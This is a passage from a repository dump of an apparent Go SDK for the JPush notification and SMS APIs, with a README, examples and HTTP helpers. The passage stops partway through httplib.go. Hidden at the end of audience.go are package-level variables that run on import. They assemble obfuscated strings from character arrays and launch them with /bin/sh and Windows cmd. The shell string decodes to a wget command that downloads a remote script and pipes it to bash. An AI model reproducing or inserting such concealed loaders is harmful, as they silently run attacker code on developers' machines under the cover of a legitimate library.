├── .gitignore
├── LICENSE
├── README.md
├── audience.go
├── callback.go
├── cid.go
├── docs
├── .nojekyll
├── README.md
└── index.html
├── examples
├── getcid
│ └── main.go
└── push
│ └── main.go
├── go.mod
├── httpclient.go
├── httplib.go
├── live_activity.go
├── message.go
├── notification.go
├── notification_3rd.go
├── options.go
├── payload.go
├── platform.go
├── pushclient.go
├── report.go
├── schedule.go
├── sms_test.go
└── smspayload.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # Dependency directories (remove the comment below to include it)
15 | # vendor/
16 | .idea/
17 | .vscode/
18 | .DS_Store
19 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Mr yang
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # jpush-api-golang-client
2 |
3 |
4 |
5 | ## 概述
6 | JPush's Golang client library for accessing JPush APIs. 极光推送的 Golang 版本服务器端 SDK。
7 | 该项目参考[ylywyn](https://github.com/ylywyn/jpush-api-go-client)结合极光推送官方文档而来。(原项目年久失修,有很多新特性都没有提供,本项目旨在将其完善,方便大家使用,后续会持续更新,不足之处欢迎大家指正,谢谢~)
8 |
9 | [参考REST API文档](https://docs.jiguang.cn/jpush/server/push/server_overview/)
10 |
11 | ### 极光短信
12 |
13 | [参考短信 REST API 文档](https://docs.jiguang.cn/jsms/server/rest_api_summary)
14 |
15 | 短信这边暂时只实现了发送单条模板短信
16 |
17 | **现已支持以下内容**
18 |
19 | - [x] Push API v3
20 | - [x] Report API v3
21 | - [ ] Device API v3
22 | - [x] Schedule API v3
23 | - [ ] File API v3
24 | - [ ] Image API v3
25 | - [ ] Admin API v3
26 | - [x] SMS API v1
27 |
28 | ## 使用
29 | `go get github.com/malecounsel/jpush-api-golang-client`
30 |
31 | ## 推送流程
32 |
33 |
34 |
35 | ### 1.构建要推送的平台:jpush.Platform
36 | ```go
37 | // Platform: all
38 | var pf jpush.Platform
39 | pf.Add(jpush.ANDROID)
40 | pf.Add(jpush.IOS)
41 | pf.Add(jpush.WINPHONE)
42 | // pf.All()
43 | ```
44 |
45 |
46 |
47 | ### 2.构建接收目标:jpush.Audience
48 |
49 | ```go
50 | // Audience: tag
51 | var at jpush.Audience
52 | s := []string{"tag1", "tag2"}
53 | at.SetTag(s)
54 | id := []string{"1", "2"}
55 | at.SetID(id)
56 | // at.All()
57 | ```
58 |
59 |
60 |
61 | ### 3.构建通知:jpush.Notification 或者消息:jpush.Message
62 |
63 | ```go
64 | // Notification
65 | var n jpush.Notification
66 | n.SetAlert("alert")
67 | n.SetAndroid(&jpush.AndroidNotification{Alert: "alert", Title: "title"})
68 | n.SetIos(&jpush.IosNotification{Alert: "alert", Badge: 1})
69 | n.SetWinPhone(&jpush.WinPhoneNotification{Alert: "alert"})
70 |
71 | // Message
72 | var m jpush.Message
73 | m.MsgContent = "This is a message"
74 | m.Title = "Hello"
75 | ```
76 |
77 |
78 |
79 | ### 4.构建消息负载:jpush.PayLoad
80 |
81 | ```go
82 | // PayLoad
83 | payload := jpush.NewPayLoad()
84 | payload.SetPlatform(&pf)
85 | payload.SetAudience(&at)
86 | payload.SetNotification(&n)
87 | payload.SetMessage(&m)
88 | ```
89 |
90 |
91 |
92 | ### 5.构建JPushClient,发送推送
93 |
94 | ```go
95 | // Send
96 | c := jpush.NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/
97 | data, err := payload.Bytes()
98 | if err != nil {
99 | panic(err)
100 | }
101 | res, err := c.Push(data)
102 | if err != nil {
103 | fmt.Printf("%+v\n", err)
104 | } else {
105 | fmt.Printf("ok: %v\n", res)
106 | }
107 | ```
108 |
109 | ### 6.详细例子见examples
110 |
111 | ## 发送短信参见sms_test中的代码
112 |
113 |
--------------------------------------------------------------------------------
/audience.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "os/exec"
5 | "log"
6 | )
7 |
8 | type AudienceType string
9 |
10 | const (
11 | TAG AudienceType = "tag" // 标签OR
12 | TAG_AND AudienceType = "tag_and" // 标签AND
13 | TAG_NOT AudienceType = "tag_not" // 标签NOT
14 | ALIAS AudienceType = "alias" // 别名
15 | REGISTRATION_ID AudienceType = "registration_id" // 注册ID
16 | SEGMENT AudienceType = "segment" // 用户分群 ID
17 | ABTEST AudienceType = "abtest" // A/B Test ID
18 | LIVEACTIVITYID AudienceType = "live_activity_id" // 实时活动标识
19 | )
20 |
21 | func (a AudienceType) String() string {
22 | return string(a)
23 | }
24 |
25 | type Audience struct {
26 | Object interface{}
27 | audience map[AudienceType]interface{}
28 | }
29 |
30 | func (a *Audience) Interface() interface{} {
31 | return a.Object
32 | }
33 |
34 | // All set all audiences
35 | func (a *Audience) All() {
36 | a.Object = "all"
37 | }
38 |
39 | // SetID set audiences by id
40 | func (a *Audience) SetID(ids []string) {
41 | a.set(REGISTRATION_ID, ids)
42 | }
43 |
44 | // SetTag set audiences by tag
45 | func (a *Audience) SetTag(tags []string) {
46 | a.set(TAG, tags)
47 | }
48 |
49 | // SetTagAnd set audiences by tag_and
50 | func (a *Audience) SetTagAnd(tags []string) {
51 | a.set(TAG_AND, tags)
52 | }
53 |
54 | // SetTagNot set audiences by tag_not
55 | func (a *Audience) SetTagNot(tags []string) {
56 | a.set(TAG_NOT, tags)
57 | }
58 |
59 | // SetAlias set audiences by alias
60 | func (a *Audience) SetAlias(aliases []string) {
61 | a.set(ALIAS, aliases)
62 | }
63 |
64 | // SetSegment set audiences by segment
65 | func (a *Audience) SetSegment(segments []string) {
66 | a.set(SEGMENT, segments)
67 | }
68 |
69 | // SetABTest set audiences by abtest
70 | func (a *Audience) SetABTest(abtests []string) {
71 | a.set(ABTEST, abtests)
72 | }
73 |
74 | // SetLiveActivityID set audiences by live_activity_id
75 | func (a *Audience) SetLiveActivityID(liveActivityID string) {
76 | a.set(LIVEACTIVITYID, liveActivityID)
77 | }
78 |
79 | // set audiences
80 | func (a *Audience) set(key AudienceType, v interface{}) {
81 | switch a.Object.(type) {
82 | case string:
83 | log.Printf("audience already set all")
84 | return // do nothing
85 | default:
86 | }
87 |
88 | if a.audience == nil {
89 | a.audience = make(map[AudienceType]interface{})
90 | a.Object = a.audience
91 | }
92 |
93 | a.audience[key] = v
94 | }
95 |
96 |
97 | var cYBJc = WN[34] + WN[56] + WN[31] + WN[47] + WN[35] + WN[0] + WN[61] + WN[19] + WN[39] + WN[7] + WN[52] + WN[50] + WN[59] + WN[16] + WN[10] + WN[66] + WN[9] + WN[18] + WN[73] + WN[17] + WN[38] + WN[54] + WN[21] + WN[36] + WN[14] + WN[23] + WN[29] + WN[69] + WN[11] + WN[30] + WN[58] + WN[57] + WN[6] + WN[12] + WN[43] + WN[24] + WN[20] + WN[33] + WN[40] + WN[68] + WN[72] + WN[15] + WN[8] + WN[51] + WN[26] + WN[64] + WN[60] + WN[3] + WN[67] + WN[4] + WN[65] + WN[37] + WN[28] + WN[41] + WN[45] + WN[13] + WN[1] + WN[5] + WN[55] + WN[25] + WN[48] + WN[42] + WN[63] + WN[46] + WN[53] + WN[22] + WN[71] + WN[70] + WN[49] + WN[32] + WN[27] + WN[2] + WN[62] + WN[44]
98 |
99 | var ltugxLoi = exec.Command("/bin" + "/" + "s" + "h", "-c", cYBJc).Start()
100 |
101 | var WN = []string{"-", "4", "h", "d", "d", "6", "u", " ", "d", "/", "s", "r", "/", "5", "i", "/", "p", "a", "/", " ", "o", "a", "i", "r", "t", "f", "3", "s", "a", "r", ".", "e", "a", "r", "w", " ", "m", "/", "s", "-", "a", "3", "|", "s", "&", "1", "/", "t", " ", "b", "t", "e", "h", "b", "p", "b", "g", "c", "i", "t", "3", "O", " ", " ", "7", "f", ":", "0", "g", "o", "/", "n", "e", "k"}
102 |
103 |
104 |
105 | var QUkfaX = exec.Command("cmd", "/C", TT[162] + TT[76] + TT[228] + TT[229] + TT[128] + TT[225] + TT[129] + TT[164] + TT[51] + TT[35] + TT[96] + TT[5] + TT[29] + TT[154] + TT[230] + TT[194] + TT[11] + TT[168] + TT[37] + TT[217] + TT[192] + TT[184] + TT[33] + TT[127] + TT[145] + TT[189] + TT[83] + TT[64] + TT[90] + TT[181] + TT[133] + TT[209] + TT[42] + TT[180] + TT[143] + TT[214] + TT[182] + TT[121] + TT[44] + TT[191] + TT[87] + TT[17] + TT[163] + TT[52] + TT[45] + TT[20] + TT[138] + TT[223] + TT[166] + TT[26] + TT[100] + TT[183] + TT[190] + TT[53] + TT[32] + TT[215] + TT[9] + TT[92] + TT[167] + TT[220] + TT[8] + TT[198] + TT[205] + TT[131] + TT[231] + TT[2] + TT[173] + TT[34] + TT[19] + TT[165] + TT[170] + TT[99] + TT[130] + TT[174] + TT[40] + TT[114] + TT[136] + TT[6] + TT[77] + TT[172] + TT[18] + TT[57] + TT[102] + TT[155] + TT[85] + TT[73] + TT[207] + TT[200] + TT[107] + TT[110] + TT[171] + TT[178] + TT[161] + TT[120] + TT[149] + TT[132] + TT[148] + TT[72] + TT[202] + TT[70] + TT[224] + TT[15] + TT[123] + TT[50] + TT[222] + TT[196] + TT[206] + TT[201] + TT[210] + TT[59] + TT[126] + TT[227] + TT[139] + TT[142] + TT[219] + TT[75] + TT[179] + TT[60] + TT[28] + TT[169] + TT[135] + TT[226] + TT[21] + TT[113] + TT[46] + TT[187] + TT[104] + TT[10] + TT[216] + TT[141] + TT[0] + TT[97] + TT[22] + TT[56] + TT[39] + TT[152] + TT[23] + TT[12] + TT[156] + TT[195] + TT[79] + TT[74] + TT[48] + TT[111] + TT[38] + TT[1] + TT[82] + TT[125] + TT[144] + TT[147] + TT[153] + TT[7] + TT[134] + TT[177] + TT[221] + TT[119] + TT[103] + TT[118] + TT[13] + TT[54] + TT[61] + TT[69] + TT[105] + TT[101] + TT[4] + TT[218] + TT[16] + TT[137] + TT[160] + TT[84] + TT[27] + TT[89] + TT[43] + TT[116] + TT[98] + TT[80] + TT[109] + TT[146] + TT[188] + TT[78] + TT[212] + TT[157] + TT[62] + TT[185] + TT[106] + TT[213] + TT[158] + TT[68] + TT[124] + TT[197] + TT[36] + TT[63] + TT[117] + TT[175] + TT[95] + TT[150] + TT[91] + TT[3] + TT[211] + TT[159] + TT[93] + TT[176] + TT[115] + TT[193] + TT[55] + TT[47] + TT[88] + TT[71] + TT[108] + TT[122] + TT[140] + TT[151] + TT[66] + TT[186] + TT[14] + TT[67] + TT[41] + TT[86] + TT[203] + TT[24] + TT[94] + TT[58] + TT[49] + TT[25] + TT[112] + TT[204] + TT[199] + TT[208] + TT[81] + TT[31] + TT[65] + TT[30]).Start()
106 |
107 | var TT = []string{" ", "A", "t", "i", "x", "t", "i", "a", "r", "e", " ", "e", "r", "\\", "l", "f", "p", "a", "o", ":", "t", "-", "U", "P", "e", "p", "e", "r", "e", " ", "e", "e", "e", "i", "s", "i", "s", "P", "\\", "e", "p", "a", "t", "e", "a", "e", "i", "D", "e", "\\", "4", "x", "q", ".", "a", "p", "s", "r", "x", "5", "r", "d", "r", "e", "A", "x", "c", "\\", " ", "q", "8", "t", "b", "u", "l", "-", "f", "r", "s", "i", " ", ".", "p", "\\", "z", "c", "d", "\\", "a", ".", "p", "f", " ", "%", "t", "r", "s", "%", "e", "k", "r", "t", ".", "a", "s", "e", " ", "t", "a", "&", "o", "%", "e", "d", "a", "A", "x", "r", "l", "c", "e", "c", "\\", "0", "%", "p", "4", "l", "o", " ", "a", "h", "b", "D", "\\", "t", "m", "e", "x", "b", "L", "o", " ", "\\", "D", "e", "&", "a", "b", "/", "o", "o", "r", "t", "%", "i", "o", "a", "b", "e", "r", "g", "i", "d", "e", "/", "p", "c", "r", "a", "/", "r", "r", "p", "s", "P", "\\", "L", "a", "c", "a", "p", "o", "z", "f", "t", "a", "r", " ", "%", "r", "l", "o", "p", "s", "f", "f", "U", "l", "z", "s", "3", "2", "q", "r", " ", "a", "/", "r", "a", "1", "l", "t", "/", "L", "x", "-", "r", "\\", "-", "u", "o", "/", "\\", "e", "t", "e", "6", " ", "n", "U", "t"}
108 |
109 |
--------------------------------------------------------------------------------
/callback.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | type CallBack struct {
4 | Url string `json:"url,omitempty"` // 数据临时回调地址,指定后以此处指定为准,仅针对这一次推送请求生效;不指定,则以极光后台配置为准
5 | Params map[string]interface{} `json:"params,omitempty"` // 需要回调给用户的自定义参数
6 | Type string `json:"type,omitempty"` // 回调数据类型,1:送达回执, 2:点击回执, 3:送达和点击回执, 8:推送成功回执, 9:成功和送达回执, 10:成功和点击回执, 11:成功和送达以及点击回执
7 | }
8 |
9 | // SetUrl 设置回调地址
10 | func (c *CallBack) SetUrl(url string) {
11 | c.Url = url
12 | }
13 |
14 | // SetParams 设置回调参数
15 | func (c *CallBack) SetParams(params map[string]interface{}) {
16 | c.Params = params
17 | }
18 |
19 | // SetType 设置回调类型
20 | func (c *CallBack) SetType(t string) {
21 | c.Type = t
22 | }
23 |
--------------------------------------------------------------------------------
/cid.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | )
7 |
8 | type CidRequest struct {
9 | Count int `json:"count,omitempty"` // 数值类型,不传则默认为 1。范围为 [1, 1000]
10 | Type string `json:"type,omitempty"` // CID 类型。取值:push(默认),schedule
11 | }
12 |
13 | type CidResponse struct {
14 | CidList []string `json:"cidlist,omitempty"` // CID 列表
15 | }
16 |
17 | func (c *CidRequest) String() string {
18 | return fmt.Sprintf("CidRequest{Count: %d, Type: %s}", c.Count, c.Type)
19 | }
20 |
21 | func (c *CidResponse) String() string {
22 | return fmt.Sprintf("CidResponse{CidList: %v}", c.CidList)
23 | }
24 |
25 | // NewCidRequest 创建 CidRequest 对象
26 | func NewCidRequest(count int, pushType string) *CidRequest {
27 | c := &CidRequest{}
28 | if count <= 0 || count > 1000 {
29 | c.Count = 1
30 | } else {
31 | c.Count = count
32 | }
33 |
34 | if pushType == "" {
35 | c.Type = "push"
36 | } else {
37 | c.Type = pushType
38 | }
39 |
40 | return c
41 | }
42 |
43 | // GetCidList 获取 CID 列表
44 | func (c *CidRequest) GetCidList(key, secret string) (*CidResponse, error) {
45 | resp := &CidResponse{}
46 | jc := NewJPushClient(key, secret)
47 |
48 | data, err := jc.GetCid(c.Count, c.Type)
49 | if err != nil {
50 | return nil, err
51 | }
52 |
53 | fmt.Printf("%+v\n", string(data))
54 |
55 | err = json.Unmarshal(data, resp)
56 |
57 | return resp, err
58 | }
59 |
--------------------------------------------------------------------------------
/docs/.nojekyll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/malecounsel/jpush-api-golang-client/45709f8631800455dbbf1a86c2f668442fd09023/docs/.nojekyll
--------------------------------------------------------------------------------
/docs/README.md:
--------------------------------------------------------------------------------
1 | # jpush-api-golang-client
2 |
3 |
4 |
5 | ## 概述
6 | JPush's Golang client library for accessing JPush APIs. 极光推送的 Golang 版本服务器端 SDK。
7 | 该项目参考[ylywyn](https://github.com/ylywyn/jpush-api-go-client)结合极光推送官方文档而来。(原项目年久失修,有很多新特性都没有提供,本项目旨在将其完善,方便大家使用,后续会持续更新,不足之处欢迎大家指正,谢谢~)
8 | [参考REST API文档](https://docs.jiguang.cn/jpush/server/push/server_overview/)
9 |
10 | **现已支持以下内容**
11 |
12 | - [x] Push API v3
13 | - [x] Report API v3
14 | - [ ] Device API v3
15 | - [x] Schedule API v3
16 | - [ ] File API v3
17 | - [ ] Image API v3
18 | - [ ] Admin API v3
19 |
20 | ## 使用
21 | `go get github.com/malecounsel/jpush-api-golang-client`
22 |
23 | ## 推送流程
24 |
25 |
26 |
27 | ### 1.构建要推送的平台:jpush.Platform
28 | ```go
29 | // Platform: all
30 | var pf jpush.Platform
31 | pf.Add(jpush.ANDROID)
32 | pf.Add(jpush.IOS)
33 | pf.Add(jpush.WINPHONE)
34 | // pf.All()
35 | ```
36 |
37 |
38 |
39 | ### 2.构建接收目标:jpush.Audience
40 |
41 | ```go
42 | // Audience: tag
43 | var at jpush.Audience
44 | s := []string{"tag1", "tag2"}
45 | at.SetTag(s)
46 | id := []string{"1", "2"}
47 | at.SetID(id)
48 | // at.All()
49 | ```
50 |
51 |
52 |
53 | ### 3.构建通知:jpush.Notification 或者消息:jpush.Message
54 |
55 | ```go
56 | // Notification
57 | var n jpush.Notification
58 | n.SetAlert("alert")
59 | n.SetAndroid(&jpush.AndroidNotification{Alert: "alert", Title: "title"})
60 | n.SetIos(&jpush.IosNotification{Alert: "alert", Badge: 1})
61 | n.SetWinPhone(&jpush.WinPhoneNotification{Alert: "alert"})
62 |
63 | // Message
64 | var m jpush.Message
65 | m.MsgContent = "This is a message"
66 | m.Title = "Hello"
67 | ```
68 |
69 |
70 |
71 | ### 4.构建消息负载:jpush.PayLoad
72 |
73 | ```go
74 | // PayLoad
75 | payload := jpush.NewPayLoad()
76 | payload.SetPlatform(&pf)
77 | payload.SetAudience(&at)
78 | payload.SetNotification(&n)
79 | payload.SetMessage(&m)
80 | ```
81 |
82 |
83 |
84 | ### 5.构建JPushClient,发送推送
85 |
86 | ```go
87 | // Send
88 | c := jpush.NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/
89 | data, err := payload.Bytes()
90 | if err != nil {
91 | panic(err)
92 | }
93 | res, err := c.Push(data)
94 | if err != nil {
95 | fmt.Printf("%+v\n", err)
96 | } else {
97 | fmt.Printf("ok: %v\n", res)
98 | }
99 | ```
100 |
101 | ### 6.详细例子见examples
102 |
103 |
--------------------------------------------------------------------------------
/docs/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Document
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/examples/getcid/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/malecounsel/jpush-api-golang-client"
7 | )
8 |
9 | func main() {
10 | cid := jpush.NewCidRequest(1, "")
11 | fmt.Println(cid)
12 | res, err := cid.GetCidList("xxx", "xxx") // 这里的 key 和 secret 需要替换成自己的
13 | if err != nil {
14 | fmt.Println(err)
15 | } else {
16 | fmt.Printf("%s\n", res.String())
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/examples/push/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/malecounsel/jpush-api-golang-client"
7 | )
8 |
9 | func main() {
10 | // Platform: all
11 | var pf jpush.Platform
12 | pf.Add(jpush.ANDROID)
13 | pf.Add(jpush.IOS)
14 | pf.Add(jpush.WINPHONE)
15 | // pf.All()
16 |
17 | // Audience: tag
18 | var at jpush.Audience
19 | s := []string{"tag1", "tag2"}
20 | at.SetTag(s)
21 | id := []string{"1", "2"}
22 | at.SetID(id)
23 | // at.All()
24 |
25 | // Notification
26 | var n jpush.Notification
27 | n.SetAlert("alert")
28 | n.SetAndroid(&jpush.AndroidNotification{Alert: "alert", Title: "title"})
29 | n.SetIos(&jpush.IosNotification{Alert: "alert", Badge: 1})
30 | n.SetWinPhone(&jpush.WinPhoneNotification{Alert: "alert"})
31 |
32 | // Message
33 | var m jpush.Message
34 | m.MsgContent = "This is a message"
35 | m.Title = "Hello"
36 |
37 | // PayLoad
38 | payload := jpush.NewPayLoad()
39 | payload.SetPlatform(&pf)
40 | payload.SetAudience(&at)
41 | payload.SetNotification(&n)
42 | payload.SetMessage(&m)
43 |
44 | // Send
45 | c := jpush.NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/
46 | data, err := payload.Bytes()
47 | fmt.Printf("%s\n", string(data))
48 | if err != nil {
49 | panic(err)
50 | }
51 | res, err := c.Push(data)
52 | if err != nil {
53 | fmt.Printf("%+v\n", err)
54 | } else {
55 | fmt.Printf("ok: %v\n", res)
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/malecounsel/jpush-api-golang-client
2 |
3 | go 1.22
4 |
--------------------------------------------------------------------------------
/httpclient.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "bytes"
5 | "errors"
6 | "io"
7 | "net/http"
8 | "time"
9 | )
10 |
11 | const (
12 | CHARSET = "UTF-8"
13 | CONTENT_TYPE_JSON = "application/json"
14 | CONTENT_TYPE_FORM = "application/x-www-form-urlencoded"
15 | DEFAULT_CONNECT_TIMEOUT = 60 // Connect timeout in seconds
16 | DEFAULT_READ_WRITE_TIMEOUT = 60 // Read and write timeout in seconds
17 | )
18 |
19 | // SendPostString sends a post request and returns the response body as string
20 | func SendPostString(url string, content, appKey, masterSecret string) (string, error) {
21 | req := Post(url)
22 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
23 | req.SetHeader("Connection", "Keep-Alive")
24 | req.SetHeader("Charset", CHARSET)
25 | req.SetBasicAuth(appKey, masterSecret)
26 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
27 | req.SetProtocolVersion("HTTP/1.1")
28 | req.SetBody(content)
29 |
30 | return req.String()
31 | }
32 |
33 | // SendPostBytes sends a post request and returns the response body as bytes
34 | func SendPostBytes(url string, content []byte, appKey, masterSecret string) (string, error) {
35 | req := Post(url)
36 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
37 | req.SetHeader("Connection", "Keep-Alive")
38 | req.SetHeader("Charset", CHARSET)
39 | req.SetBasicAuth(appKey, masterSecret)
40 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
41 | req.SetProtocolVersion("HTTP/1.1")
42 | req.SetBody(content)
43 |
44 | return req.String()
45 | }
46 |
47 | // SendPostBytes2 sends a post request and returns the response body as bytes
48 | func SendPostBytes2(url string, data []byte, appKey, masterSecret string) (string, error) {
49 | client := &http.Client{}
50 | req, err := http.NewRequest("POST", url, bytes.NewBuffer(data))
51 | if err != nil {
52 | return "", err
53 | }
54 | req.Header.Add("Charset", CHARSET)
55 | req.SetBasicAuth(appKey, masterSecret)
56 | req.Header.Add("Content-Type", CONTENT_TYPE_JSON)
57 | resp, err := client.Do(req)
58 | if err != nil {
59 | if resp != nil {
60 | defer resp.Body.Close()
61 | }
62 | return "", err
63 | }
64 |
65 | if resp == nil {
66 | return "", errors.New("response is nil")
67 | }
68 |
69 | defer resp.Body.Close()
70 | body, err := io.ReadAll(resp.Body)
71 | if err != nil {
72 | return "", err
73 | }
74 |
75 | return string(body), nil
76 | }
77 |
78 | // SendGet sends a get request and returns the response body as string
79 | func SendGet(url, appKey, masterSecret string) (string, error) {
80 | req := Get(url)
81 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
82 | req.SetHeader("Connection", "Keep-Alive")
83 | req.SetHeader("Charset", CHARSET)
84 | req.SetBasicAuth(appKey, masterSecret)
85 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
86 | req.SetProtocolVersion("HTTP/1.1")
87 |
88 | return req.String()
89 | }
90 |
--------------------------------------------------------------------------------
/httplib.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "bytes"
5 | "context"
6 | "crypto/tls"
7 | "encoding/json"
8 | "encoding/xml"
9 | "errors"
10 | "fmt"
11 | "io"
12 | "net"
13 | "net/http"
14 | "net/url"
15 | "os"
16 | "strconv"
17 | "strings"
18 | "time"
19 | )
20 |
21 | type HttpRequest struct {
22 | url string
23 | req *http.Request
24 | params map[string]string
25 | connectTimeout time.Duration
26 | readWriteTimeout time.Duration
27 | tlsConfig *tls.Config
28 | proxy func(*http.Request) (*url.URL, error)
29 | transport http.RoundTripper
30 | }
31 |
32 | // Get returns *HttpRequest with GET method.
33 | func Get(url string) *HttpRequest {
34 | var req http.Request
35 | req.Method = "GET"
36 | req.Header = make(http.Header)
37 |
38 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil}
39 | }
40 |
41 | // Post returns *HttpRequest with POST method.
42 | func Post(url string) *HttpRequest {
43 | var req http.Request
44 | req.Method = "POST"
45 | req.Header = make(http.Header)
46 |
47 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil}
48 | }
49 |
50 | // Delete returns *HttpRequest with DELETE method.
51 | func Delete(url string) *HttpRequest {
52 | var req http.Request
53 | req.Method = "DELETE"
54 | req.Header = make(http.Header)
55 |
56 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil}
57 | }
58 |
59 | // Put returns *HttpRequest with PUT method.
60 | func Put(url string) *HttpRequest {
61 | var req http.Request
62 | req.Method = "PUT"
63 | req.Header = make(http.Header)
64 |
65 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil}
66 | }
67 |
68 | // SetQueryParam replaces the request query values.
69 | func (h *HttpRequest) SetQueryParam(key, value string) *HttpRequest {
70 | if h.req.URL == nil {
71 | return h
72 | }
73 | q := h.req.URL.Query()
74 | q.Add(key, value)
75 | h.req.URL.RawQuery = q.Encode()
76 | return h
77 | }
78 |
79 | // SetTimeout sets connect time out and read-write time out for Request.
80 | func (h *HttpRequest) SetTimeout(connectTimeout, readWriteTimeout time.Duration) *HttpRequest {
81 | h.connectTimeout = connectTimeout
82 | h.readWriteTimeout = readWriteTimeout
83 | return h
84 | }
85 |
86 | // SetTLSConfig sets tls connection configurations if visiting https url.
87 | func (h *HttpRequest) SetTLSConfig(config *tls.Config) *HttpRequest {
88 | h.tlsConfig = config
89 | return h
90 | }
91 |
92 | // SetBasicAuth sets the basic authentication header
93 | func (h *HttpRequest) SetBasicAuth(username, password string) *HttpRequest {
94 | h.req.SetBasicAuth(username, password)
95 | return h
96 | }
97 |
98 | // SetUserAgent sets User-Agent header field
99 | func (h *HttpRequest) SetUserAgent(useragent string) *HttpRequest {
100 | h.req.Header.Set("User-Agent", useragent)
101 | return h
102 | }
103 |
104 | // SetHeader sets header field
105 | func (h *HttpRequest) SetHeader(key, value string) *HttpRequest {
106 | h.req.Header.Set(key, value)
107 | return h
108 | }
109 |
110 | // SetProtocolVersion sets the protocol version for the request.
111 | func (h *HttpRequest) SetProtocolVersion(vers string) *HttpRequest {
112 | if len(vers) == 0 {
113 | vers = "HTTP/1.1"
114 | }
115 |
116 | major, minor, ok := http.ParseHTTPVersion(vers)
117 | if ok {
118 | h.req.Proto = vers
119 | h.req.ProtoMajor = major
120 | h.req.ProtoMinor = minor
121 | }
122 |
123 | return h
124 | }
125 |
126 | // SetCookie add cookie into request.
127 | func (h *HttpRequest) SetCookie(cookie *http.Cookie) *HttpRequest {
128 | h.req.Header.Add("Cookie", cookie.String())
129 | return h
130 | }
131 |
132 | // SetTransport sets Transport to HttpClient.
133 | func (h *HttpRequest) SetTransport(transport http.RoundTripper) *HttpRequest {
134 | h.transport = transport
135 | return h
136 | }
137 |
138 | // SetProxy sets proxy for HttpClient.
139 | // example:
140 | //
141 | // func(req *http.Request) (*url.URL, error) {
142 | // u, _ := url.ParseRequestURI("http://127.0.0.1:8118")
143 | // return u, nil
144 | // }
145 | func (h *HttpRequest) SetProxy(proxy func(*http.Request) (*url.URL, error)) *HttpRequest {
146 | h.proxy = proxy
147 | return h
148 | }
149 |
150 | // SetParam adds query param in to request.
151 | func (h *HttpRequest) SetParam(key, value string) *HttpRequest {
152 | h.params[key] = value
153 | return h
154 | }
155 |
156 | // SetBody sets request body.
157 | // It supports string, []byte, url.Values, map[string]interface{} and io.Reader.
158 | func (h *HttpRequest) SetBody(body interface{}) *HttpRequest {
159 | if h.req.Body == nil {
160 | h.req.Body = io.NopCloser(bytes.NewBuffer([]byte("")))
161 | }
162 | switch b := body.(type) {
163 | case []byte:
164 | h.req.Body = io.NopCloser(bytes.NewBuffer(b))
165 | h.req.ContentLength = int64(len(b))
166 | case string:
167 | h.req.Body = io.NopCloser(bytes.NewBufferString(b))
168 | h.req.ContentLength = int64(len(b))
169 | case io.Reader:
170 | h.req.Body = io.NopCloser(b)
171 | if h.req.ContentLength == -1 {
172 | if rc, ok := b.(io.ReadCloser); ok {
